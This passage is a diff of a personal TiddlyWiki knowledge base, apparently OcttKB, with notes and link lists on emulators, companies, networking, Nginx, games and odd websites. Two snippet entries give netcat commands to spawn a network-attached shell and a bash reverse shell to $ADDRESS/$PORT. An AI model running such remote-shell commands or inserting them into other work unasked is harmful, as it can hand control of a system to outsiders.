[[Manual:$wgExportAllowAll|https://m.mediawiki.org/wiki/Manual:$wgExportAllowAll]]\n\n!!! ''Extensions''\n\n* [[Translate|https://m.mediawiki.org/wiki/Extension:Translate]] - //Used to translate software (?) and to manage multilingual wikis in a sensible way//\n\n!!! ''Development''\n\n* \u003C\u003CExtMediaWikiAnchor \"API:Get_the_contents_of_a_page\" mediawiki.org>>\n"}, {"title":"melonDS:en","created":"20220923104738517","modified":"20230206111552207","modifier":"Octt","tags":"Emulation Nintendo NDS Gaming $:/i18n:en","text":"[[melonDS|https://melonds.kuribo64.net]] is (sort of) a libre [[Nintendo DS|Nintendo DS:en]] emulator.\n\n[img[https://raw.githubusercontent.com/melonDS-emu/melonDS/master/res/icon/melon_128x128.png]]\n\nOver the years of development, the emulator had time to become a mature melon.\n\nToday, while it still needs a lot of work before being complete, it's considered the best NDS emulator available, at least on PC."}, {"title":"Meta Inc","created":"20230215221117148","creator":"Octt","modified":"20230226221710244","modifier":"Octt","tags":"USA","text":"\u003C\u003C^wikipediaframe \"Meta Inc.\">>\n\n* [[Reasons not to be used by Facebook [Richard Stallman]|https://stallman.org/facebook.html]]\n\n; Curiosities\n: \u003C\u003CYoutubeL OHlZXyhG3eQ \"How THIS instagram story kills your phone.\">>\n\n!!! ''News''\n\n; February 2023\n: [[Italian prosecutors probe Meta for 870Ms EUR tax evasion|https://www.ansa.it/english/news/business/2023/02/22/milan-prosecutors-probe-meta-for-870-mn-tax-evasion_4093668e-23d4-4841-81c8-cdf4eb91fdf9.html]]\n: [[Zuck Banned Me - My Facebook got hacked, then Meta banned me from all services|http://web.archive.org/web/20230217032148/http://zuckbannedme.com/]]\n\n; Older\n: [[Facebook’s internal research on mental health effects of Instagram|https://www.theverge.com/2021/9/29/22701445/facebook-instagram-mental-health-research-pdfs-documents]] | [[Facebook Internal Research Found Instagram Can Be Very Harmful To Young Girls|https://www.forbes.com/sites/jemimamcevoy/2021/09/14/facebook-internal-research-found-instagram-can-be-very-harmful-to-young-girls-report-says/]]\n"}, -{"title":"MicroBlogs","created":"20231222234611171","creator":"Octt","modified":"20231223111131828","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Microblog>>\n\n* \u003C\u003ChttpsL OctoSpacc.altervista.org/MicroBlog>>\n* [[Numeric Citizen Blog|https://blog.numericcitizen.me/]] --- //I'm a compulsive creator (words, images, videos, podcasts). It's not always an easy journey, but it is a rewarding one.//\n"}, +{"title":"MicroBlog","created":"20231222234611171","creator":"Octt","modified":"20240121192942431","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Microblog>>\n\nSome MicroBlogs found on the net, saved for any reason:\n\n* \u003C\u003ChttpsL OctoSpacc.altervista.org/MicroBlog>>\n* [[Numeric Citizen Blog|https://blog.numericcitizen.me/]] --- //I'm a compulsive creator (words, images, videos, podcasts). It's not always an easy journey, but it is a rewarding one.//\n"}, {"title":"Microsoft","created":"20230112215325845","creator":"Octt","modified":"20230207215507522","modifier":"Octt","tags":"$:/i18n:en Company USA","text":"\u003C\u003C^wikipediaframe Microsoft>>\n\n!!! ''Products''\n\n* [[Bing|https://en.m.wikipedia.org/wiki/Microsoft_Bing]]\n** Microsoft Bing Rewards\n* [[Encarta|https://en.m.wikipedia.org/wiki/Encarta]] - //discontinued digital multimedia encyclopedia//\n* [[Windows]]\n\n!!! ''News''\n\n; March 2023\n: \u003C\u003CHackernewsL 35031072 \"Tell HN: Microsoft Teams is blocking Firefox Nightly\">>\n"}, {"title":"Midnight Commander:en","created":"20230130081056391","creator":"Octt","modified":"20230206111552211","modifier":"Octt","tags":"$:/i18n:en","text":"\u003C\u003CMediaWiki Midnight_Commander en 2>>"}, {"title":"Miitomo:en","created":"20230113110556145","creator":"Octt","modified":"20230206211339279","modifier":"Octt","tags":"TODO $:/i18n:en Nintendo","text":"\u003C\u003CMediaWiki Miitomo en 2>>"}, @@ -1295,7 +1299,7 @@ {"title":"netcat/Normal Shell","created":"20221202224129631","modified":"20230206111552224","modifier":"Octt","tags":"Snippets $:/i18n:en","text":"From https://unix.stackexchange.com/a/345628:\n\nRun on host to spawn a network-attached shell (requires bash due to coproc):\n\n```bash\ncoproc netcat -l -p $PORT\nexec bash \u003C&${COPROC[0]} >&${COPROC[1]} 2>&1\n```\n\nRun on client to connect to host:\n\n```sh\nnc $ADDRESS $PORT\n```"}, {"title":"netcat/Reverse Shell","created":"20220926095309988","modified":"20230206111552227","modifier":"Octt","tags":"Snippets $:/i18n:en","text":"0. Run on master (requires netcat):\n\n```sh\nnc -l -vv -p $PORT\n```\n\n1. Run on slave:\n\n```sh\nbash -i &> /dev/tcp/$ADDRESS/$PORT 0>&1\n```"}, {"title":"Network domain","created":"20231221233617426","creator":"Octt","modified":"20231221233932753","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Network domain\">>\n\n* \u003C\u003ChttpsL nic.eu.org>> --- //EU.org, free domain names since 1996//\n* (yourname.)\u003C\u003ChttpsL js.org>> --- //Are you a JavaScript developer looking for free webspace to host your project?// --- \u003C\u003C[# Git\"https://github.com/js-org\">>\n"}, -{"title":"Networking","created":"20231222123820453","creator":"Octt","modified":"20231224173401189","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Telecommunications network\">>\n\n!!! Resources\n\n* [[Port Forwarding without delay and high fps in a real time live stream using socat|https://unix.stackexchange.com/questions/454157/port-forwarding-without-delay-and-high-fps-in-a-real-time-live-stream-using-soca]]\n** socat is not good for this, better to use iptables (if only it was working...), or firewalld: eg. `firewall-cmd --add-forward-port=port=80:proto=tcp:toport=8080`\n*** see [[Forwarding ports with firewalld|https://major.io/p/forwarding-ports-with-firewalld/]]\n\n!!! Tools\n\n* Network Tools by [[You Get Signal|https://www.yougetsignal.com/]]\n"}, +{"title":"Networking","created":"20231222123820453","creator":"Octt","modified":"20240127231310608","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Telecommunications network\">>\n\n!!! Resources\n\n* [[Port Forwarding without delay and high fps in a real time live stream using socat|https://unix.stackexchange.com/questions/454157/port-forwarding-without-delay-and-high-fps-in-a-real-time-live-stream-using-soca]]\n** socat is not good for this, better to use iptables (if only it was working...), or firewalld: eg. `firewall-cmd --add-forward-port=port=80:proto=tcp:toport=8080`\n*** see [[Forwarding ports with firewalld|https://major.io/p/forwarding-ports-with-firewalld/]]\n\n!!! Tools\n\n* Network Tools by [[You Get Signal|https://www.yougetsignal.com/]]\n\n!!! Misc\n\n* [[Ban Power Line Technology|https://www.ban-plt.org.uk/]] --- //Save your radio spectrum//\n"}, {"title":"News","created":"20231223233937694","creator":"Octt","modified":"20231223234138891","modifier":"Octt","tags":"","text":"\u003C\u003C^WikipediaFrame \"News\">>\n\n* [[Boing Boing|https://boingboing.net/]] --- //The award-winning zine, blog and directory of mostly wonderful things.//\n"}, {"title":"Newsgroup","created":"20230429221135750","creator":"Octt","modified":"20240107120240647","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Newsgroup>>\n\nBrowse newsgroup archives online:\n\n* [[Google Groups|https://www.google.com/search?q=site%3Agroups.google.com]]\n* [[Narkive|https://narkive.com/]] (Newsgroup Archive) --- apparently recently started indexing Stackexchange threads, automatically translated on the server side\n* [[UsenetArchives.com|https://www.usenetarchives.com/]] - [\u003C\u003CRedditLink r/usenet/comments/in6u06/free_usenet_text_archive_goes_online_300_million/ Info>>]\n** [[2.1 Million of the Oldest Internet Posts Are Now Online for Anyone to Read|https://www.vice.com/en/article/pky7km/usenet-archive-utzoo-online]]\n\nDetails and downloads of archives\n\n* [[https://wiki.archiveteam.org/index.php/Usenet]]\n* [[Usenet|https://archive.org/details/usenet]], [[Giganews|https://archive.org/details/giganews]] (Archive.org)\n"}, {"title":"Nginx","created":"20230207185112276","creator":"Octt","modified":"20231221190746217","modifier":"Octt","tags":"Server","text":"\u003C\u003C^wikipediaframe Nginx en >>\n\n!!! ''Resources''\n\n* [[agentzh's Nginx Tutorials (version 2020.03.19)|https://openresty.org/download/agentzh-nginx-tutorials-en.html]]\n* [[How to set up Nginx as a caching reverse proxy?|https://serverfault.com/questions/30705/how-to-set-up-nginx-as-a-caching-reverse-proxy]]\n* Nginx reverse proxy + URL rewrite: [[most correct way and best practice is usually...|https://serverfault.com/a/870620]]\n* [[How nginx \"location if\" works|https://agentzh.blogspot.com/2011/03/how-nginx-location-if-works.html]]\n** [[If is Evil… when used in location context|https://www.nginx.com/resources/wiki/start/topics/depth/ifisevil/]] --- (always dangerous in locations, except when doing `return ...;` or `rewrite ... last;`)\n* [[How to reply with 200+content from Nginx, without serving a file?|https://serverfault.com/questions/196929/how-to-reply-with-200-from-nginx-without-serving-a-file]]\n* [[nginx redirect based on domain name|https://serverfault.com/questions/832456/nginx-redirect-based-on-domain-name/832474#832474]]\n* [[Using variables in Nginx location rules|https://stackoverflow.com/questions/15416957/using-variables-in-nginx-location-rules/61513351#61513351]] --- nginx doesn't have proper variables, but the map module is often usable\n\n* [[Install more_set_headers in nginx for Debian-based distro|https://serverfault.com/questions/954708/install-more-set-headers-in-nginx-1-15-8]] --- `apt install nginx-extras`, keeping in mind that it will rewrite the nginx core package, so any active nginx daemon will crash and need to be restarted.\n** Apparently all extra modules get enabled by default after this installation, and some might crash on some systems: if so, delete their symlinks from `/etc/nginx/modules-enabled`.\n"}, @@ -1316,7 +1320,7 @@ {"title":"Notebook","created":"20230208195350783","creator":"Octt","modified":"20230217230230963","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Notebook en >>\n\nSome (small ones) can be cute, I think. It's a shame though that [[writing on paper, for me, has too many disadvantages as compared to writing digitally|Why I write digitally]]... although I should probably just try it for some weeks to verify some ideas."}, {"title":"NumWorks","created":"20230202110151955","creator":"Octt","modified":"20231223223656445","modifier":"Octt","tags":"$:/i18n:en Calculator","text":"* https://www.numworks.com/\n* https://github.com/numworks\n\n\u003C\u003C^wikipediaframe NumWorks en>>\n\n* [[Numworks Hacks Guide|https://guide.getomega.dev/]]\n* [[Omega|https://getomega.dev/]] Custom Firmware, abandoned --- \u003C\u003C[ \"[[Git|https://github.com/Omega-Numworks]]\">>\n** ... including [[Phi|https://phi.getomega.dev/]], //jailbreak for the Numworks calculator with Epsilon 16 and higher. It brings back custom firmwares.//\n** [[Upsilon|https://getupsilon.web.app/]] --- CFW forked from Omega and mantained --- \u003C\u003C[ \"[[Git|https://github.com/UpsilonNumworks]]\">>\n\n* [[Nwagyu|https://www.nwagyu.com/]] --- //Collection of free nwa apps that you can install on your NumWorks calculator//\n* [[Templates to Plot Functions, Parametric Equations, and Sequences|https://edspi31415.blogspot.com/2021/01/numworks-templates-to-plot-functions.html]]\n* [[Version 16 bêta : verrouillage NumWorks anti Omega / KhiCAS|https://tiplanet.org/forum/viewtopic.php?t=24968&p=261770&lang=en#p261770]]\n"}, {"title":"Octt","caption":"Me","created":"20230206204149478","creator":"Octt","icon":"😼","modified":"20231105222046315","modifier":"Octt","tags":"$:/ToC","text":"''Octt'', aka ''OctoSpacc'', or ''Andrea'', is me, the living entity who primarily maintains the [[OcttKB]]. I am powered by a natural neural network running on a meat machine, in case that wasn't obvious, but I plan of making a copy (or multiple?) of myself that will live in silicon machines.\n\nSome info about me should go here, I suppose, so here are some points:\n\n* I can program enough things in [[vanilla JavaScript|JavaScript]], [[Python]], `sh`, [[C|C Language]] and some [[Java]], and [[TiddlyWiki]] (wow). I will also say: I can program with HTML and CSS, just to make you cry with \"they're not programming languages!!1!\".\n** I've had to use C++, well I hate it. Never had to use Rust, and I'm happy because that syntax //scares me//.\n* I can solve some puzzle games (very little in the grand scheme of all puzzles of this world, but still fun) and play some card games, they fun sometimes.\n* Here is my [[#ShowYourStripes|https://showyourstripes.info/l/europe/italy/all/]] if you're curious --- aka the climate change situation also where I live.\n\nAfter this, there's not a lot more info about me here for now. Tough luck. Maybe go read the about page on my [[sitoctt]] in the meantime, there's something more in there: [[https://sitoctt.octt.eu.org/Chi-Sono.html]].\n\nHere are some things I like or do or whatever, that I'm putting here honestly just to get some tiddlers connected together, because I like graphs like the ''Focus'' one on the sidebar.\n\n* Graphs.. I just said I like them. Some others are at [[OcttKB/Data]].\n* [[Gaming]], but I have special tastes probably.\n** This not only includes videogames, but also puzzle games.\n** [I should write my best picks here...]\n* [[Writing]], like on my [[sitoctt]] or here.\n* Software [[Development]], mostly frontend ([[CSS]] is crappy but epic).\n** My [[Web]] places wouldn't be as unique if this wasn't the case and I were to only write content.\n"}, -{"title":"OcttKB","created":"20220920160811383","creator":"Octt","icon":"🐙","modified":"20231105104126959","modifier":"Octt","tags":"$:/ToC $:/i18n:en Octt","text":"!! Welcome to my Personal {[[Personal Knowledge Base]] \\ Public Notebook}!\n\nGeneral information about the site will soon be available. Licensing information is available [[here|OcttKB/Licensing]]. This is \"OcttKB\" because I'm [[Octt]]. With this thing, I'm [[learning and thinking in public|https://www.swyx.io/learn-in-public]].\n\n\u003C!--\nApart from the usual [[TiddlyWiki]] ones, there are many methods of navigation on this wiki. For one, try clicking on the big name line on top of of this [[OcttKB]] tiddler.\n-->\n\n!!! ''Tips''\n* Click on tag pills, often as present on top of a tiddler frame, just below the title, to navigate to all tiddlers that are tagged with that tag.\n** Unlike with folders, a tiddler can have many tags at the same time, allowing for non-linear navigation.\n* Click on different parts of the title of an open tiddler to navigate between children, both in a folder-like structure (other tiddlers present as path children of the current one, thanks to slash (`/`) separation), and with the tag structure (tiddlers tagged with the name of the current one).\n\n!!! ''Table of Contents''\n{{$:/OcttKB/ToC}}\n{{$:/OcttKB/WikiThings}}\n\n!!! ''External Links''\n\n; ''My Hub'', Global Home Page: [[Hub.Octt.EU.org|https://hub.octt.eu.org]]\n: Links to my blog, webapps, and social profiles\n\n* ''KB Git Repo'' (deploy scripts, + limited commit history): [[GitLab.com/octtspacc/OcttKB|https://gitlab.com/octtspacc/OcttKB]]\n** Mirrors (''don't send issues/PRs'' there): [[GitHub.com|https://github.com/octospacc/OcttKB]] | [[Gitea.it|https://gitea.it/octospacc/OcttKB]]\n\n* ''Public Statistics'': [[https://octtkb.goatcounter.com/]]\n\n//\u003Csmall>Note: The KB is also served in plain, unencrypted HTTP at the `http` 5th-level subdomain: `http://http.kb.octt.eu.org`.\u003C/small>//\n\n!!! ''Tags''\n{{$:/OcttKB/TagCloud}}\n\u003C!--\n\u003Cspan style=\"Line-Height:2em;\">\n\u003C$list filter=\"[tags[]!is[system]]\">\n\u003Cspan style=\"Padding:2px;\">\n\u003C$macrocall $name=\"tag\" tag={{!!caption}}/>\n\u003C/span>\n\u003C/$list>\n\u003C/span>\n-->\n\u003C!--\n\u003C\u003Clist-links filter:\"[!is[system]tags[]]\">>\n-->\n\n\u003C!--\n\u003Cbr>\n-->\n\u003Cdetails class=\"tw-details\">\n \u003Csummary>\n \u003Ch3 style=\"display: inline; font-style: bold;\">\n All Tiddlers\n \u003C/h3>\n \u003C/summary>\n {{$:/OcttKB/AllTiddlers}}\n\u003C/details>\n\u003C!--\n\u003Cbr>\n-->\n\n\u003Chr>\u003Cbr>\n\n(Partial) [[Copyright © 2022, OctoSpacc|OcttKB/Licensing]] || OcttKB is powered by [[TiddlyWiki|TiddlyWiki]].\n\n\u003Csmall>//As with any TiddlyWiki, you can make your own changes right here and save them locally for yourself.//\u003C/small>"}, +{"title":"OcttKB","created":"20220920160811383","creator":"Octt","icon":"🐙","modified":"20240128002941990","modifier":"Octt","page-cover":"https://source.unsplash.com/random?inkling,octopus","tags":"$:/ToC $:/i18n:en Octt","text":"!! Welcome to my Personal {[[Personal Knowledge Base]] \\ Public Notebook}!\n\nGeneral information about the site will soon be available. Licensing information is available [[here|OcttKB/Licensing]]. This is \"OcttKB\" because I'm [[Octt]]. With this thing, I'm [[learning and thinking in public|https://www.swyx.io/learn-in-public]].\n\n\u003C!--\nApart from the usual [[TiddlyWiki]] ones, there are many methods of navigation on this wiki. For one, try clicking on the big name line on top of of this [[OcttKB]] tiddler.\n-->\n\n!!! ''Tips''\n* Click on tag pills, often as present on top of a tiddler frame, just below the title, to navigate to all tiddlers that are tagged with that tag.\n** Unlike with folders, a tiddler can have many tags at the same time, allowing for non-linear navigation.\n* Click on different parts of the title of an open tiddler to navigate between children, both in a folder-like structure (other tiddlers present as path children of the current one, thanks to slash (`/`) separation), and with the tag structure (tiddlers tagged with the name of the current one).\n\n!!! ''Table of Contents''\n{{$:/OcttKB/ToC}}\n{{$:/OcttKB/WikiThings}}\n\n!!! ''External Links''\n\n; ''My Hub'', Global Home Page: [[Hub.Octt.EU.org|https://hub.octt.eu.org]]\n: Links to my blogs, webapps, and social profiles or places\n\n* ''KB Git Repo'' (deploy scripts, + limited commit history): [[GitLab.com/octtspacc/OcttKB|https://gitlab.com/octtspacc/OcttKB]]\n** Mirrors (''don't send issues/PRs'' there): [[GitHub.com|https://github.com/octospacc/OcttKB]] | [[Gitea.it|https://gitea.it/octospacc/OcttKB]]\n\n* ''Public Statistics'': [[https://octtkb.goatcounter.com/]]\n\n//\u003Csmall>Note: The KB is also served in plain, unencrypted HTTP at the `http` 5th-level subdomain: `http://http.kb.octt.eu.org`.\u003C/small>//\n\n!!! ''Other Wiki Things''\n\nI have made the following into links as they were making this tiddler very laggy, to the point of causing hanging issues on my mobile. Hold thight when opening them (if you're using the JavaScript-rich app, otherwise you're golden).\n\n* [[All Tiddlers|$:/OcttKB/AllTiddlers]]\n* [[Tag Cloud|$:/OcttKB/TagCloud]]\n\n\u003Chr>\n\n(Partial) [[Copyright © 2022, OctoSpacc|OcttKB/Licensing]] || OcttKB is powered by [[TiddlyWiki|TiddlyWiki]].\n\n\u003Csmall>//As with any TiddlyWiki, you can make your own changes right here and save them locally for yourself.//\u003C/small>"}, {"title":"OcttKB/Data","created":"20230109220804304","creator":"Octt","modified":"20230208171053772","modifier":"Octt","tags":"OcttKB $:/i18n:en","text":"\u003C!--\n!! Clouds!\n\nAre these useless? ''Yes!'' But they are so pretty...\n\n{{$:/OcttKB/TagCloud}}\n--->\n\n\u003Cdiv style=\"height: 200px; max-width: 800px; margin: auto;\">\n\u003C$echarts $tiddler=\"$:/plugins/Gk0Wk/echarts/addons/GitHubHeatMap.js\" $width=\"100%\" $height=\"100%\" />\n\u003C/div>\n\n\u003Cbr />\u003Chr />\u003Cbr />\n\n\u003Cdiv class=\"NoSelect PIP-Select\">\n \u003C!--\n \u003Cspan>PIP (WIP): \u003C/span>\n \u003Cinput type=\"radio\" class=\"Radio-Btn PIP-Select\" name=\"PIP-20230202-2637\" value=\"↗️\" />\n \u003Clabel>↗️\u003C/label>\n \u003Cinput type=\"radio\" class=\"Radio-Btn PIP-Select\" name=\"PIP-20230202-2637\" value=\"↘️\" />\n \u003Clabel>↘️\u003C/label>\n \u003Cinput type=\"radio\" class=\"Radio-Btn PIP-Select\" name=\"PIP-20230202-2637\" value=\"❎\" checked=\"true\" />\n \u003Clabel>❎\u003C/label>\n -->\n \u003C!-- \u003Cdiv> -->\n {{$:/OcttKB/TheBrain/Levels.cfg}}\n {{$:/OcttKB/TheBrain/Tiddler-Manual.wgt}}\n \u003C!-- \u003C/div> -->\n\u003C/div>\n\n\u003Cbr />\u003Chr />\u003Cbr />\n\n\u003C$echarts $tiddler=\"$:/plugins/Gk0Wk/echarts/addons/TagCloud.js\" />\n\n\u003Cbr />\u003Chr />\u003Cbr />\n\nI still have to put a lot of stuff here... see [[OcttKB/WIP]]"}, {"title":"OcttKB/Hacks","created":"20220920160642961","creator":"Octt","modified":"20230219103824938","modifier":"Octt","tags":"TiddlyWiki OcttKB $:/i18n:en","text":"; Macros\n: \u003C\u003Cdirtreelist $:/Macros>>\n\u003C!-- > \u003C\u003CTDirList $:/Macros 4>> -->\n\n; Theming\n: \u003C\u003Cdirtreelist $:/Styles>>\n: [[$:/palettes/Octt Light]]\n\u003C!-- > \u003C\u003CTDirList $:/Styles 4>> -->\n\n!!! Modified system and plugin files\n\n; $:/StaticBanner\n: (Shown as banner in statically exported pages)\n\n; $:/core/templates/static.content\n: (Shown as static HTML content in the standard TiddlyWiki file)\n\n; $:/core/templates/exporters/StaticRiver\n: (Added meta viewport for correct viewing on mobile) [[[Pull Request|https://github.com/Jermolene/TiddlyWiki5/pull/6953]]]\n\n; $:/plugins/kookma/refnotes/ui/bibtexlibrary\n: Remove this applet from the sidebar since I don't use it\n\n\u003C!--\n* ~~$:/themes/tiddlywiki/vanilla (Changed paddings)~~\n-->"}, {"title":"OcttKB/Index","caption":"Index","created":"20230109112202970","creator":"Octt","list-before":"$:/core/ui/SideBar/Open","modified":"20231105104112366","modifier":"Octt","tags":"$:/tags/SideBar","text":"{{$:/OcttKB/StartButton}}\n\n{{$:/OcttKB/ToC}}\n\n{{$:/OcttKB/WikiThings}}\n\n{{$:/OcttKB/LicensingButtons}}\n\n\u003Cdiv style=\"margin-top: 16px\">\n''Last edit at'' {{$:/OcttKB/LastEditTime}} \u003C\u003C#[ Activity \"https://gitlab.com/octtspacc/OcttKB/-/commits\">>\n\u003C/div>"}, @@ -1419,13 +1423,13 @@ {"title":"SpaccCraft","created":"20230225194634903","creator":"Octt","modified":"20231105105612255","modifier":"Octt","tags":"[[Spacc Inc.]] Minecraft","text":"The SpaccCraft Minecraft server is available for gaming at `mc.spacc.eu.org`. The website is \u003C\u003ChttpsL spacccraft.altervista.org>>.\n\n\u003C\u003CiFrame100 \"https://wikispacc.miraheze.org/wiki/SpaccCraft\">>"}, {"title":"Speedrun","created":"20231223212409681","creator":"Octt","modified":"20231223212742123","modifier":"Octt","tags":"","text":"\u003C\u003C^WikipediaFrame \"Speedrun\">>\n\n\u003C\u003C^WikipediaFrame \"Tool-assisted speedrun\">>\n\n* [[TASVideos|https://tasvideos.org/]] --- //Tool-assisted game movies, When human skills are just not enough//\n** [[TAS Emulators|https://github.com/TASEmulators]] --- //Rerecording emulators and tools used for making Tool Assisted Speedruns//\n"}, {"title":"SPI","created":"20230205142954820","creator":"Octt","modified":"20230205143012022","modifier":"Octt","tags":"TODO"}, -{"title":"Splatoon","created":"20230112104013755","creator":"Octt","modified":"20240107160445013","modifier":"Octt","tags":"Platformer TPS $:/i18n:en Game Nintendo Proprietary","text":"\u003C\u003C^wikipediaframe Splatoon en>>\n\n* [[The Art Of Splatoon 2 (2019)|https://archive.org/details/the-art-of-splatoon-2]]\n* [[Inkopolis Walker (Haikara Walker, Octo Expansion artbook)|https://imgur.com/a/LOLazfi]]\n** [[Haikara Walker/ 3rd Splatoon art book (rough) translation thread!|https://threadreaderapp.com/thread/1087606696015364096]]\n** [[Haikara Walker Translation Masterdoc|https://docs.google.com/document/d/10E9v0-oTyNyBYD81r-pdgBigeDdwRzj6JvMJAOvh958/edit]]\n\n* \u003C\u003CYoutubeL Js0jyvvJAgc \"(NES style) 8-Bit Splatoon!\">> (concept video)\n* \u003C\u003CYoutubeL zLBxGtPzvjw \"Demaking Splatoon - Splattack! (N64 Version) Music\">>\n"}, +{"title":"Splatoon","created":"20230112104013755","creator":"Octt","modified":"20240121192703603","modifier":"Octt","tags":"Platformer TPS $:/i18n:en Game Nintendo Proprietary","text":"\u003C\u003C^wikipediaframe Splatoon en>>\n\n* [[The Art Of Splatoon|https://archive.org/details/theartofsplatoon_201911/]]\n** [[The Art Of Splatoon 2 (2019)|https://archive.org/details/art-of-splatoon-2/]] [[alt. version with less pages?|https://archive.org/details/the-art-of-splatoon-2]]\n*** [[Inkopolis Walker (Haikara Walker, Octo Expansion artbook)|https://imgur.com/a/LOLazfi]]\n**** [[Haikara Walker/ 3rd Splatoon art book (rough) translation thread!|https://threadreaderapp.com/thread/1087606696015364096]]\n**** [[Haikara Walker Translation Masterdoc|https://docs.google.com/document/d/10E9v0-oTyNyBYD81r-pdgBigeDdwRzj6JvMJAOvh958/edit]]\n\n* \u003C\u003CYoutubeL Js0jyvvJAgc \"(NES style) 8-Bit Splatoon!\">> (concept video)\n* \u003C\u003CYoutubeL zLBxGtPzvjw \"Demaking Splatoon - Splattack! (N64 Version) Music\">>\n"}, {"title":"SSH","created":"20230205142231777","creator":"Octt","modified":"20230205142247383","modifier":"Octt","tags":"TODO Protocol"}, {"title":"Stable Diffusion","created":"20230404134923351","creator":"Octt","modified":"20231222225618518","modifier":"Octt","tags":"[[Artificial intelligence]] Art","text":"!!! ''Resources''\n\n* [[Stable Diffusion Art|https://stable-diffusion-art.com/]]\n\n---\n\n* [[How to run Stable Diffusion on Google Colab (AUTOMATIC1111)|https://stable-diffusion-art.com/automatic1111-colab/]]\n** [[Quick Start Guide|https://sleet-bugle-0cd.notion.site/Stable-Diffusion-Quick-Start-Guide-a49bb03dbce04462a09d57bd2198f088]]\n** [[Colab Notebook|https://colab.research.google.com/github/sagiodev/stablediffusion_webui/blob/master/StableDiffusionUI_ngrok_sagiodev.ipynb]]\n"}, {"title":"Standard Notes","created":"20230113230249689","creator":"Octt","modified":"20230221221847294","modifier":"Octt","tags":"App $:/i18n:en","text":"An encrypted open-source notes app with a very clean UX.\n\n* Website: [[standardnotes.com|https://standardnotes.com]]\n* Git Repos: [[github.com/standardnotes|https://github.com/standardnotes]]\n\n!!! ''Listed''\n\n''Listed'' is a blogging platform developed by the Standard Notes team, that strongly integrates into the app.\n\n* Website: [[listed.to|https://listed.to]]\n\n!!! ''Other''\n\n; [[Using Standard Notes as a Personal Knowledge Base|https://technosoof.wordpress.com/2020/04/10/using-standard-notes-as-a-personal-knowledge-base/]] - \u003C\u003Cmywarc 466>>\n: Need of coping with lack of text-search scoped to only the current note. \u003Cdd>\nBrowser's integrated search is a decent solution.\n\u003C/dd>\n: No actual hyperlinks will force you to manually craft a compact GUID system. \u003Cdd>\nGUIDs can't be changed later, so using dates + single letters for types is a needed thing.\n\u003C/dd> \u003Cdd>\nSeparating drafts from normal notes, WIP, etc... is optimal too.\n\u003C/dd>\n\n; [[Why Encrypted - Standard Notes|https://standardnotes.com/why-encrypted]] - \u003C\u003Cmywarc 409>>\n: Today's popular tech is far from private by default.\n: The lack of actual privacy often makes us self-censor, making us lose ourselves in our writing.\n: When you get privacy, and finally //write like it's nobody's business//, you will have peace of mind.\n"}, {"title":"Starbucks","created":"20230305195429422","creator":"Octt","modified":"20230305195825406","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Starbucks>>\n\n!!! ''News''\n\n; March 2023\n: [[Starbucks illegally fired US workers over union, judge rules|https://www.bbc.co.uk/news/business-64819774]].\n"}, {"title":"Static site generator","created":"20230905232949767","creator":"Octt","modified":"20231222001704153","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Static site generator\">>\n\n* \u003C\u003Clinkdescgit Docusaurus \"https://docusaurus.io\" \"Easy to maintain open source documentation websites.\" \"https://github.com/facebook/docusaurus\">>\n* \u003C\u003Clinkdescgit Hugo \"https://gohugo.io\" \"The world’s fastest framework for building websites\" \"https://github.com/gohugoio/hugo\">>\n\n* [[Hexo|https://hexo.io/]] --- //A fast, simple & powerful blog framework//\n** //[[NexT|https://theme-next.js.org/]] is a high quality elegant theme for Hexo. It is crafted from scratch, with love.// --- \u003C\u003C[# Git \"https://github.com/next-theme\">>\n\n* [[Jekyll|https://jekyllrb.com]] (+ docs) --- //🌐 Jekyll is a blog-aware static site generator in Ruby// --- \u003C\u003C#[ Git\"https://github.com/jekyll\">>\n** [[Jekyll Themes|http://jekyllthemes.org/]] --- //A directory of the best-looking themes for Jekyll blogs// --- \u003C\u003C#[ Git\"https://github.com/mattvh/jekyllthemes\">>\n*** \u003C\u003Clinkdescgit \"So Simple [Theme]\" \"https://mmistakes.github.io/so-simple-theme\" \" A simple Jekyll theme for words and pictures.\" \"https://github.com/mmistakes/so-simple-theme\">>\n*** \u003C\u003Clinkdescgit \"Jekflix Template\" \"https://jekflix.rossener.com/\" \"A Jekyll theme inspired by Netflix. 🎬\" \"https://github.com/thiagorossener/jekflix-template\">>\n*** [[TeXt Theme|https://kitian616.github.io/jekyll-TeXt-theme/]] --- //💎 🐳 A super customizable Jekyll theme for personal site, team site, blog, project, documentation, etc. // --- \u003C\u003C[# Git\"https://github.com/kitian616/jekyll-TeXt-theme\">>\n** [[Working with upcoming posts in Jekyll|https://www.fizerkhan.com/blog/posts/working-with-upcoming-posts-in-jekyll]]\n\n* [[Pelican|https://getpelican.com/]]\n** [[Eevee|https://kura.gg/eevee/]] --- //A Material Design theme for Pelican//\n\n* \u003C\u003Clinkdescgit Retype \"https://retype.com\" \"ultra-high-performance ✨ static website generator that builds a website based on simple Markdown text files\" \"https://github.com/retypeapp\">> --- seems catered towards docs/notes sites\n"}, -{"title":"Strange things","created":"20231105150445511","creator":"Octt","modified":"20240119165356761","modifier":"Octt","tags":"","text":"* [[https://venkivasamsetti.github.io/ebookworm.github.io/csehome.html]] --- this strange half-constructed half-recycled website hides copies of some CS books in PDF among generic pages, among with unrelated things like HTML5 games?\n\n* [[StudyPlan.dev|https://www.studyplan.dev/]] --- strange C++ tutorials website with random, out-of-context (probably AI-generated?) cover pictures of random characters concept artworks...\n\n* [[^^^^^~ ░ ui▀┳╲ ☺ .info|https://yyyyyyy.info/]] --- just a mess collage of images, and the content changes at every site visit\n* [[Smokepowered - 煙霧動力.com|https://smokepowered.com/]] --- strange site with weed background and video of Valve characters smoking\n** [[Epic Blazed|https://epicblazed.com/]] --- same thing above, but for Epic Games, Unreal Engine, Fortnite\n\n* [[ICCIVITELLA|https://iccivitella.it/]], ... --- SEO spamming websites with fake content... sometimes they seem to have more actual content than real sites?\n\n* \u003C\u003ChttpsL www.chimica-online.it>>, \u003C\u003ChttpsL www.scuola-e-cultura.it>>, ... --- sites that seem like SEO spamming but they seem to be administered by actual writers? they're kinda the most confusing\n\n* [[Questions LLC|https://questions.llc/]] --- //Use AI to 